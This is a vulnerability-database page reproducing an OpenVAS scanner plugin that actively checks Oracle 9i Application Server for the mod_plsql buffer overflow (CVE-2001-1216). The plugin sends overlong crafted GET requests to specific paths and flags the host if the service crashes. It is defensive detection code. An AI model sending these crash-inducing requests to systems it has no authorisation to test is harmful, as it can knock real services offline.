Lucene search
+L

Oracle 9i Application Server mod_plsql Buffer Overflow Vulnerability - Active Check

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2002 Matt MooreType 
openvas
 openvas
🔗 plugins.openvas.org👁 68 Views

Oracle 9iAS mod_plsql Buffer Overflow, allows remote code executio

Related
Refs
Code
# SPDX-FileCopyrightText: 2002 Matt Moore
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:oracle:application_server";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.10840");
  script_version("2026-02-04T05:55:03+0000");
  script_tag(name:"last_modification", value:"2026-02-04 05:55:03 +0000 (Wed, 04 Feb 2026)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2001-1216");
  script_name("Oracle 9i Application Server mod_plsql Buffer Overflow Vulnerability - Active Check");
  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_copyright("Copyright (C) 2002 Matt Moore");
  script_family("Buffer overflow");
  script_dependencies("gb_oracle_application_server_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("oracle/application_server/detected");

  script_xref(name:"URL", value:"https://web.archive.org/web/20080820020723/http://www.nextgenss.com/advisories/plsql.txt");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210121154439/http://www.securityfocus.com/bid/3726");
  script_xref(name:"URL", value:"https://web.archive.org/web/20040720014820/http://otn.oracle.com/deploy/security/pdf/modplsql.pdf");

  script_tag(name:"summary", value:"Oracle 9i Application Server (AS) uses Apache as it's web
  server. There is a buffer overflow in the mod_plsql module which allows an attacker to run
  arbitrary code.");

  script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP GET requests and checks if the
  service is still responding.");

  script_tag(name:"solution", value:"Oracle have released a patch for this vulnerability.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE))
  exit(0);

if(!get_app_location(cpe:CPE, port:port, nofork:TRUE))
  exit(0);

if(http_is_dead(port:port))
  exit(0);

soc = http_open_socket(port);
if(!soc)
  exit(0);

# Send 215 chars at the end of the URL
buf = http_get(item:string("/XXX/XXXXXXXX/XXXXXXX/XXXX/", crap(215)), port:port);
send(socket:soc, data:buf);
recv = http_recv(socket:soc);
close(soc);

if(!recv)
  exit(0);

soc = http_open_socket(port);
if(!soc)
  exit(0);

buf = http_get(item:string("/pls/portal30/admin_/help/", crap(215)), port:port);
send(socket:soc, data:buf);
unbreakable = http_recv(socket:soc);
http_close_socket(soc);

if(!unbreakable) {
  security_message(port:port);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 27.5
EPSS0.08547
68